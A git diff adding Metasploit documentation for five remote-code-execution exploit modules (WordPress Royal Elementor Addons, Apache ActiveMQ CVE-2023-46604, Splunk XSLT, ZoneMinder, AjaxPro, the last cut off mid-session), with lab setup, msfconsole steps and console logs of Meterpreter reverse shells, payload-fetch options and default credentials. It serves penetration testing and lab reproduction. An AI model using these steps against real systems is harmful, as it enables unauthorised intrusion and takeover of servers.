new file mode 100644 index 0000000000..7d69a9961a --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_royal_elementor_addons_rce.md @@ -0,0 +1,208 @@ +## Vulnerable Application + +This Metasploit module exploits a Remote Code Execution vulnerability in WordPress Royal Elementor Addons and Templates +plugin, versions prior to 1.3.79. +The vulnerability is due to an unauthenticated file upload flaw in the plugin. +To replicate a vulnerable environment for testing: + +1. Install WordPress. +2. Download and install the Royal Elementor Addons and Templates plugin, ensuring the version is below 1.3.79. +3. Activate Royal Elementor Templates Kit and chose a theme. +4. Verify that the plugin is activated and accessible on the local network. + +## Verification Steps + +1. Set up a WordPress instance with the Royal Elementor Addons plugin (version < 1.3.79). +2. Launch `msfconsole` in your Metasploit framework. +3. Use the module: `use exploit/multi/http/wp_royal_elementor_addons_rce`. +4. Set `RHOSTS` to the local IP address or hostname of the target. +5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`. +6. Execute the exploit using the `run` or `exploit` command. +7. If the target is vulnerable, the module will execute the specified payload. + +## Options + +This module offers several options: + +### TARGETURI + +- **Description**: Base path of the WordPress application. +- **Required**: Yes. +- **Default Value**: `/`. + +## Scenarios + +### Successful Exploitation Against Local WordPress with Royal Elementor Addons 1.3.78 + +**Setup**: + +- Local WordPress instance with Royal Elementor Addons version 1.3.78. +- Metasploit Framework. + +**Steps**: + +1. Start `msfconsole`. +2. Load the module: +``` +use exploit/multi/http/wp_royal_elementor_addons_rce +``` +4. Set `RHOSTS` to the local IP (e.g., 192.168.1.10). +5. Configure other necessary options (TARGETURI, SSL, etc.). +6. Launch the exploit: +``` +exploit +``` + +**Expected Results**: + +- The module attempts to retrieve a nonce from the local server. +- It then uploads and executes the payload. +- If successful, control over the local WordPress instance is gained, depending on the payload used. + +**Example**: + +With `cmd/linux/http/x64/meterpreter/reverse_tcp`: + +``` +msf6 > search royal + +Matching Modules +================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/multi/http/wp_royal_elementor_addons_rce 2023-11-23 excellent Yes WordPress Royal Elementor Addons RCE + + +Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_royal_elementor_addons_rce + +msf6 > use 0 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > options + +Module options (exploit/multi/http/wp_royal_elementor_addons_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl + oit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to the wordpress application + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME VaXEJJxCKI no Name to use on remote system when storing payload; cannot contain spaces. + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces. + LHOST 192.168.1.5 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > set rhosts chocapikk.lab +rhosts => chocapikk.lab +msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > set rport 8888 +rport => 8888 +msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > set ssl false +[!] Changing the SSL option's value may require changing RPORT! +ssl => false +msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > exploit + +[*] Started reverse TCP handler on 192.168.1.5:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress Version: 6.4.1 +[+] Detected Royal Elementor Addons version: 1.3.78 +[+] The target appears to be vulnerable. +[*] Attempting to retrieve nonce... +[+] Nonce found in response: "9e10e80ee1" +[*] Sending payload +[+] Payload uploaded successfully +[*] Triggering the payload +[*] Sending stage (3045380 bytes) to 172.20.0.3 +[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 172.20.0.3:46556) at 2023-11-28 08:27:43 +0100 + +meterpreter > sysinfo +Computer : 172.20.0.3 +OS : Debian 11.8 (Linux 6.4.10-060410-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +With `php/meterpreter/reverse_tcp`: + +``` +msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > options + +Module options (exploit/multi/http/wp_royal_elementor_addons_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS chocapikk.lab yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl + oit.html + RPORT 8888 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to the wordpress application + VHOST no HTTP server virtual host + + +Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.1.5 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > exploit + +[*] Started reverse TCP handler on 192.168.1.5:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress Version: 6.4.1 +[+] Detected Royal Elementor Addons version: 1.3.78 +[+] The target appears to be vulnerable. +[*] Attempting to retrieve nonce... +[+] Nonce found in response: "9e10e80ee1" +[*] Sending payload +[+] Payload uploaded successfully +[*] Triggering the payload +[*] Sending stage (39927 bytes) to 172.20.0.3 +[*] Meterpreter session 2 opened (192.168.1.5:4444 -> 172.20.0.3:40952) at 2023-11-28 08:30:35 +0100 + +meterpreter > sysinfo +Computer : 541828095fba +OS : Linux 541828095fba 6.4.10-060410-generic #202308111154 SMP PREEMPT_DYNAMIC Fri Aug 11 12:00:45 UTC 2023 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data +``` diff --git a/documentation/modules/exploit/multi/misc/apache_activemq_rce_cve_2023_46604.md b/documentation/modules/exploit/multi/misc/apache_activemq_rce_cve_2023_46604.md new file mode 100644 index 0000000000..fd10b7e73f --- /dev/null +++ b/documentation/modules/exploit/multi/misc/apache_activemq_rce_cve_2023_46604.md @@ -0,0 +1,287 @@ +## Vulnerable Application +This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache ActiveMQ. +Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to 5.16.6, and all +versions before 5.15.16. + +For a full technical analysis of the vulnerability read the +[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis). + +## Testing + +### Linux +* The official [Getting Started](https://activemq.apache.org/getting-started) documentation has a full walkthrough. +* You will need to install Java if you have not already done so. +* Download a vulnerable version of ActiveMQ, e.g. [apache-activemq-5.18.2-bin.tar.gz](https://www.apache.org/dyn/closer.cgi?filename=/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz&action=download) +* Extract the contents: `tar zxvf apache-activemq-5.18.2-bin.tar.gz` +* Change into the ActiveMQ directory: `cd apache-activemq-5.18.2/bin/` +* Run ActiveMQ in the foreground: `./activemq console` + +## Verification Steps +Note: Disable Defender if you are using the default payloads on a Windows target. + +Steps (Linux target): +1. Start msfconsole +2. `use exploit/multi/misc/apache_activemq_rce_cve_2023_46604` +3. `set RHOST ` +4. `set SRVHOST eth0` +5. `set target 1` +6. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp` +7. `check` +8. `exploit` + +## Scenarios + +### Windows +``` +msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options + +Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CHOST no The local client address + CPORT no The local client port + Proxies no A proxy chain of format type:host:port[ + ,type:host:port][...] + RHOSTS 192.168.86.50 yes The target host(s), see https://docs.me + tasploit.com/docs/using-metasploit/basi + cs/using-metasploit.html + RPORT 61616 yes The target port (TCP) + SRVHOST 192.168.86.42 yes The local host or network interface to + listen on. This must be an address on t + he local machine or 0.0.0.0 to listen o + n all addresses. + SRVPORT 8080 yes The local port to listen on. + SSLCert no Path to a custom SSL certificate (defau + lt is randomly generated) + URIPATH no The URI to use for this exploit (defaul + t is random) + + +Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', + seh, thread, process, none) + FETCH_COMMAND CERTUTIL yes Command to fetch payload (Acc + epted: CURL, TFTP, CERTUTIL) + FETCH_DELETE false yes Attempt to delete the binary + after execution + FETCH_FILENAME ainzysikAU no Name to use on remote system + when storing payload; cannot + contain spaces. + FETCH_SRVHOST no Local IP to use for serving p + ayload + FETCH_SRVPORT 8080 yes Local port to use for serving + payload + FETCH_URIPATH no Local URI to use for serving + payload + FETCH_WRITABLE_DI %TEMP% yes Remote writable dir to store + R payload; cannot contain space + s. + LHOST 192.168.86.42 yes The listen address (an interf + ace may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check +[*] 192.168.86.50:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.15.3 +msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] 192.168.86.50:61616 - Running automatic check ("set AutoCheck false" to disable) +[+] 192.168.86.50:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.15.3 +[*] 192.168.86.50:61616 - Using URL: http://192.168.86.42:8080/4ORmILKzvCrowHQ +[*] 192.168.86.50:61616 - Sent ClassPathXmlApplicationContext configuration file. +[*] 192.168.86.50:61616 - Sent ClassPathXmlApplicationContext configuration file. +[*] Sending stage (200774 bytes) to 192.168.86.50 +[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:51975) at 2023-11-02 10:15:14 +0000 + +meterpreter > getuid +Server username: WIN-V28QNSO2H05\Administrator +meterpreter > pwd +C:\apache-activemq-5.15.3\bin +meterpreter > sysinfo +Computer : WIN-V28QNSO2H05 +OS : Windows 2016+ (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > +``` + +### Linux + +``` +msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options + +Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CHOST no The local client address + CPORT no The local client port + Proxies no A proxy chain of format type:host:port[ + ,type:host:port][...] + RHOSTS 192.168.86.43 yes The target host(s), see https://docs.me + tasploit.com/docs/using-metasploit/basi + cs/using-metasploit.html + RPORT 61616 yes The target port (TCP) + SRVHOST 192.168.86.42 yes The local host or network interface to + listen on. This must be an address on t + he local machine or 0.0.0.0 to listen o + n all addresses. + SRVPORT 8080 yes The local port to listen on. + SSLCert no Path to a custom SSL certificate (defau + lt is randomly generated) + URIPATH no The URI to use for this exploit (defaul + t is random) + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Acc + epted: CURL, FTP, TFTP, TNFTP + , WGET) + FETCH_DELETE false yes Attempt to delete the binary + after execution + FETCH_FILENAME baCcDlijxJN no Name to use on remote system + when storing payload; cannot + contain spaces. + FETCH_SRVHOST no Local IP to use for serving p + ayload + FETCH_SRVPORT 8080 yes Local port to use for serving + payload + FETCH_URIPATH no Local URI to use for serving + payload + FETCH_WRITABLE_DI yes Remote writable dir to store + R payload; cannot contain space + s. + LHOST 192.168.86.42 yes The listen address (an interf + ace may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 1 Linux + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check +[*] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2 +msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] 192.168.86.43:61616 - Running automatic check ("set AutoCheck false" to disable) +[+] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2 +[*] 192.168.86.43:61616 - Using URL: http://192.168.86.42:8080/Fn51CApi +[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file. +[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file. +[*] Sending stage (3045380 bytes) to 192.168.86.43 +[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.43:44674) at 2023-11-02 10:17:42 +0000 + +meterpreter > getuid +Server username: steve +meterpreter > pwd +/home/steve/Downloads/apache-activemq-5.18.2/bin +meterpreter > sysinfo +Computer : 192.168.86.43 +OS : Ubuntu 22.04 (Linux 6.2.0-33-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 192.168.86.43 - Meterpreter session 3 closed. Reason: Died +msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > +``` + +### Unix + +``` +msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options + +Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CHOST no The local client address + CPORT no The local client port + Proxies no A proxy chain of format type:host:port[ + ,type:host:port][...] + RHOSTS 192.168.86.43 yes The target host(s), see https://docs.me + tasploit.com/docs/using-metasploit/basi + cs/using-metasploit.html + RPORT 61616 yes The target port (TCP) + SRVHOST 192.168.86.42 yes The local host or network interface to + listen on. This must be an address on t + he local machine or 0.0.0.0 to listen o + n all addresses. + SRVPORT 8080 yes The local port to listen on. + SSLCert no Path to a custom SSL certificate (defau + lt is randomly generated) + URIPATH no The URI to use for this exploit (defaul + t is random) + + +Payload options (cmd/unix/reverse_perl): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.86.42 yes The listen address (an interface may be s + pecified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 2 Unix + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check +[*] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2 +msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] 192.168.86.43:61616 - Running automatic check ("set AutoCheck false" to disable) +[+] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2 +[*] 192.168.86.43:61616 - Using URL: http://192.168.86.42:8080/3mzi3Tfryin +[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file. +[*] 192.168.86.43:61616 - Sent ClassPathXmlApplicationContext configuration file. +[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.43:48962) at 2023-11-02 10:20:13 +0000 +id +[*] 192.168.86.43:61616 - Server stopped. + +uid=1000(steve) gid=1000(steve) groups=1000(steve),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),139(wireshark) +pwd +/home/steve/Downloads/apache-activemq-5.18.2/bin +uname -a +Linux sfewer-ubuntu-test 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux +exit +``` diff --git a/documentation/modules/exploit/unix/http/splunk_xslt_authenticated_rce.md b/documentation/modules/exploit/unix/http/splunk_xslt_authenticated_rce.md new file mode 100644 index 0000000000..19f71e618e --- /dev/null +++ b/documentation/modules/exploit/unix/http/splunk_xslt_authenticated_rce.md @@ -0,0 +1,109 @@ +## Vulnerable Application + +This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise. +The vulnerability affects versions 9.0.x prior to 9.0.7 and 9.1.x before 9.1.2. +The exploit takes advantage of a flaw in the XSLT transformation functionality of Splunk Enterprise +and requires valid credentials to be executed successfully, with the default credentials often being admin:changeme. + +Upon successful exploitation, the attacker is able to execute code with the same privileges as the Splunk service user. +Typically, this user is 'splunk' and the resulting shell will have permissions associated with this user account, +which may vary depending on the specific environment and configuration of the Splunk service. + +## Verification Steps +1. **Start Metasploit**: Launch `msfconsole` in your Metasploit framework. +2. **Select the Module**: Use the module with the command `use exploit/unix/http/splunk_xslt_authenticated_rce`. +3. **Disable AutoCheck**: Optionally, you can disable the automatic vulnerability check with `set AutoCheck false`. +4. **Execute the Exploit**: Use the `exploit` command to run the exploit. + +## Scenarios +``` +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(unix/http/splunk_xslt_authenticated_rce) > options + +Module options (exploit/unix/http/splunk_xslt_authenticated_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD changeme yes Password for Splunk + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RANDOM_FILENAME gWQgBqnz no Random filename with 8 characters + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp + loit.html + RPORT 8000 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + USERNAME admin yes Username for Splunk + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME eXHMuZOtzdPG no Name to use on remote system when storing payload; cannot contain spaces. + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces. + LHOST 192.168.1.5 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +View the full module info with the info, or info -d command. + +msf6 exploit(unix/http/splunk_xslt_authenticated_rce) > set rhosts chocapikk.lab +rhosts => chocapikk.lab +msf6 exploit(unix/http/splunk_xslt_authenticated_rce) > exploit + +[*] Started reverse TCP handler on 192.168.1.5:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Successfully authenticated on the Splunk instance +[+] The target appears to be vulnerable. Exploitable version found: 9.1.1 +[+] Successfully authenticated on the Splunk instance +[*] Extracting CSRF token from cookies +[+] CSRF token successfully extracted: 4066849599386392852 +[+] Malicious file uploaded successfully +[*] Sending job search request to /en-US/splunkd/__raw/servicesNS/admin/search/search/jobs +[*] Triggering XSLT transformation at /en-US/api/search/jobs/1701424044.745/results?xsl=/opt/splunk/var/run/splunk/dispatch/1701424043.744/gWQgBqnz.xsl +[+] XSLT transformation triggered successfully +[*] Executing payload at /en-US/splunkd/__raw/servicesNS/admin/search/search/jobs +[+] Payload executed successfully +[*] Sending stage (3045380 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 172.17.0.2:60690) at 2023-12-01 10:47:25 +0100 + +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : Red Hat Enterprise Linux 8 (Linux 6.4.10-060410-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### Exploitation Process +1. **Authentication**: The module authenticates using provided credentials. +2. **CSRF Token Extraction**: Extracts a CSRF token from the Splunk server for subsequent requests. +3. **Malicious File Upload**: Uploads a malicious XSL file to the server. +4. **Triggering XSLT Transformation**: Initiates an XSLT transformation to execute the payload. +5. **Executing Payload**: Executes the payload, resulting in a reverse shell or similar access. + +### Creating a Vulnerable Splunk + +``` +docker run -p 8000:8000 -e "SPLUNK_PASSWORD=Password^" -e "SPLUNK_START_ARGS=--accept-license" -it splunk/splunk:9.1.1 +``` +To create a vulnerable user, login with admin, then browse: +settings > users > New User + Create a new user with the 'user' and 'splunk-system-role' role + +### Expected Results +- This exploit requires valid credentials for successful execution. diff --git a/documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md b/documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md new file mode 100644 index 0000000000..245631c31f --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md @@ -0,0 +1,154 @@ +## Description + +This module exploits a command injection that leads to a remote execution in ZoneMinder surveillance software versions before 1.36.33 and before 1.37.33 + +More about the vulnerability detail: [2023-26035](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-26035). + +The module will automatically use `cmd/linux/http/x64/meterpreter/reverse_tcp` payload. + +The module will check if the target is vulnerable, by sending a sleep command. + + +## Vulnerable Application + +[Zoneminder](https://zoneminder.com/) is a free and open-source software defined telecommunications stack for real-time communication, WebRTC, telecommunications, video, and Voice over Internet Protocol. + +This module has been tested successfully on Zoneminder versions: + +* 1.36.31~64bit on Debian 11 + +### Source and Installers + +* [Source Code Repository](https://github.com/ZoneMinder/zoneminder/tree/1.36.31) +* [Installers](https://zoneminder.readthedocs.io/en/stable/installationguide/index.html) + +**The 3rd party debian-repository has packages for the vulnerable versions(for example zoneminder=1.36.31-bullseye1)** + +### Ansible Installation + +This exploit was tested using [a debian bullseye cloudimage](https://cloud.debian.org/images/cloud/bullseye/20210814-734/) +with the following ansible-roles: + +```yaml +roles: + - src: https://github.com/ait-cs-IaaS/atb-ansible-zoneminder.git + version: v1.2 + name: zoneminder + - src: https://github.com/ait-cs-IaaS/atb-ansible-debiansnapshot.git + version: v1.2 + name: debiansnapshot + - src: https://github.com/ait-cs-IaaS/ansible-mariadb.git + version: v1.0.0 + name: mariadb + - src: https://github.com/ait-cs-IaaS/ansible-apache2.git + version: v1.3 + name: apache2 +``` + +Zoneminder was deployed using the following playbook: + +```yaml +- name: Install old Debian-Archive-Repo Host + hosts: all + remote_user: debian + become: true + vars: + debsnap_timestamp: 20210815T082041Z + debsnap_debrelease: bullseye + roles: + - role: debiansnapshot + +- name: Install Videoserver Host + hosts: all + remote_user: debian + become: true + tasks: + - name: Install Videoserver Packages + ansible.builtin.apt: + pkg: + - vim + - curl + - netcat-traditional + update_cache: yes + + roles: + - role: mariadb + - role: apache2 + vars: + apache2_modules: + - name: "headers" + - name: "rewrite" + - name: "expires" + - name: "cgi" + apache2_vhosts: + - name: default + http: true + vhost_template: "redir.j2" + - role: zoneminder + vars: + zoneminder_debrelease: bullseye +``` + +The following template-file("redir.j2") for apache2 redirects requests to the +zoneminder subdirectory: + +``` + + ServerName {{ item.name }} +{% if item.aliases is defined %} + ServerAlias {{ item.aliases|join(' ') }} +{% endif %} + DocumentRoot {{ apache2_vhost_dir }}/{{ item.name }} + RedirectMatch ^/$ /zm/ + ErrorLog {{ apache2_vhost_dir }}/{{ item.name }}/log/error.log + CustomLog {{ apache2_vhost_dir }}/{{ item.name }}/log/access.log combined + + + Options FollowSymLinks MultiViews + AllowOverride All + Require all granted + + +``` + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Do: `use exploit/unix/webapp/zoneminder_snapshots` +2. Do: `set RHOSTS [ips]` +3. Do: `set LHOST [lhost]` +4. Do: `run` +5. You should get a shell. + +## Options + +### TARGETURI + +Remote web path to the zoneminder installation (default: /zm/) + +## Scenarios + +In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is +192.42.1.188. + +### Zoneminder 1.36.31-bullseye1 + +The following demo shows how to use the exploit with minimal settings: + +``` +msf6 exploit(unix/webapp/zoneminder_snapshots) > run + +[*] Started reverse TCP handler on 192.42.1.188:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Elapsed time: 10.249642733018845 seconds. +[+] The target appears to be vulnerable. +[*] Fetching CSRF Token +[+] Got Token: key:b5da21a154bc5f46cd2b3648fe9e44931dd74bac,1697109606 +[*] Executing nix Command for cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Sending payload +[*] Sending stage (3045380 bytes) to 192.42.0.254 +[*] Meterpreter session 1 opened (192.42.1.188:4444 -> 192.42.0.254:56398) at 2023-10-12 11:20:07 +0000 +[+] Payload sent + +meterpreter > +``` diff --git a/documentation/modules/exploit/windows/http/ajaxpro_deserialization_rce.md b/documentation/modules/exploit/windows/http/ajaxpro_deserialization_rce.md new file mode 100644 index 0000000000..cf3c014a0e --- /dev/null +++ b/documentation/modules/exploit/windows/http/ajaxpro_deserialization_rce.md @@ -0,0 +1,296 @@ +## Vulnerable Application + +### Description +This module leverages an insecure deserialization of data to get +remote code execution on the target OS in the context of the user +running the website which utilized AjaxPro. + +To achieve code execution, the module will construct some JSON data +which will be sent to the target. This data will be deserialized by +the AjaxPro JsonDeserializer and will trigger the execution of the +payload. + +All AjaxPro versions prior to 21.10.30.1 are vulnerable to this +issue, and a vulnerable method which can be used to trigger the +deserialization exists in the default AjaxPro namespace. + +AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom +method that accepts a parameter of type that is assignable from +`ObjectDataProvider` (e.g. `object`) exists, the vulnerability can +still be exploited. + +This module has been tested successfully against official AjaxPro on +version 7.7.31.1 without any modification, and on version 21.10.30.1 +with a custom vulnerable method added. + +### Download + +Ajax.NET Professional (AjaxPro) is a commercial library for ASP.NET +which provides AJAX functionality. It is available for download +from the official github repository [here](https://github.com/michaelschwarz/Ajax.NET-Professional/) + +### Setup (Versions < 21.10.30.1) + +1. Create a new .Net Framework Web Project. +2. Reference a vulnerable version of `AjaxPro.2.dll` in the project. + If using v21.10.30.1, please follow the `Additional Steps to Add Custom Vulnerable Method` + in the next section as well +3. Add following lines to your web.config if you are using Integrated IIS pipeline mode: +``` xml + + + + + + + + + +``` +4. If you are using Classic IIS pipeline mode, then please add following lines: +``` xml + + + + + + + + + +``` + +### Additional Steps to Add Custom Vulnerable Method (Compulsory for v21.10.30.1) + +There are two ways to add a vulnerable method: +1. Add a custom method to the web project +2. Patch the `AjaxPro.2.dll` with tools like dnSpy or ILSpy to add back the + vulnerable method which existed in the default AjaxPro namespace before v21.10.30.1 + +After adding a vulnerable method, follow the setup steps in the previous section as normal. + +#### Add a custom method in the Web Project + +Add the a method which accepts a parameter type which is assignable from +`ObjectDataProvider`(e.g. `object`) and add `AjaxMethodAttribute` to the +method to allow it to be accessed from AjaxPro. + +``` csharp +namespace Example +{ + public class ExampleClass + { + [AjaxMethod] + public void ExampleMethod(object vulObj) {} + } +} +``` + +##### Options for the module in this example + +`Namespace` should be `Example.ExampleClass,{ProjectName}` + +`Method` should be `ExampleMethod` + +`Parameter` should be `vulObj` + +#### Patch the dll to add back vulnerable method + +Use tools like dnSpy or ILSpy to add the following class to the `AjaxPro.2.dll`. +This is the class which is included in versions before 21.10.30.1. + +``` csharp +using System; + +namespace AjaxPro.Services +{ + [AjaxNamespace("AjaxPro.Services.Cart")] + public abstract class ICartService + { + [AjaxMethod] + public abstract bool AddItem(string cartName, object item); + + [AjaxMethod] + public abstract object[] GetItems(string cartName); + } +} +``` + +If this class is added back, the patched `AjaxPro.2.dll` should have a consistent +behavior with versions before regarding the deserialization RCE issue. + +##### Options for the module in this example + +`Namespace` should be `AjaxPro.Services.ICartService,AjaxPro.2` + +`Method` should be `AddItem` + +`Parameter` should be `item` + +## Verification Steps + +1. Follow the instructions in the previous section to setup a vulnerable version of AjaxPro. +2. Open the msfconsole, and do the following steps: +``` +use exploit/windows/http/ajaxpro_deserialization_rce +set rhosts +set rport +set lhost +set method +set parameter +set namespace +set SSL if the target port is SSL enabled. +set target +exploit +``` +3. You should get session. + +## Targets + +### 0 (Windows Command) + +This executes a Windows command. + +### 1 (Windows Dropper) + +This uses a Windows dropper to execute code. + +## Options + +### TARGETURI + +The base path to AjaxPro Handler, which is set to `/ajaxpro/` by default. + +### Namespace + +The namespace of vulnerable method, which is set to `AjaxPro.Services.ICartService,AjaxPro.2` +by default. + +> Namespace of the class joint with classname and project name, +> which will be passed to `System.Type.GetType(string)`. +> +> Please make sure you can get the `ExampleClass` when passing this `{Namespace}` to +> `System.Type.GetType(string)`. + +> Default value is the namespace in which the default vulnerable method exists in +> versions before 21.10.30.1 is defined + +### Method + +The name of vulnerable method, which is set to `AddItem` by default. + +> The method which accepts a parameter type `object` which is +> assignable from `ObjectDataProvider` + +> Default value is the name of the default vulnerable method which exists in versions +> before 21.10.30.1 + +### Parameter + +The name of vulnerable parameter which, is set to `item` by default. + +> The exact parameter name + +> Default value is the name of the parameter of the default vulnerable method +> which exists in versions before 21.10.30.1 + +## Scenarios + +### Windows Command + +``` +msf6 > use exploit/windows/http/ajaxpro_deserialization_rce +[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp +msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set rhosts 127.0.0.2 +rhosts => 127.0.0.2 +msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set rport 57750 +rport => 57750 +msf6 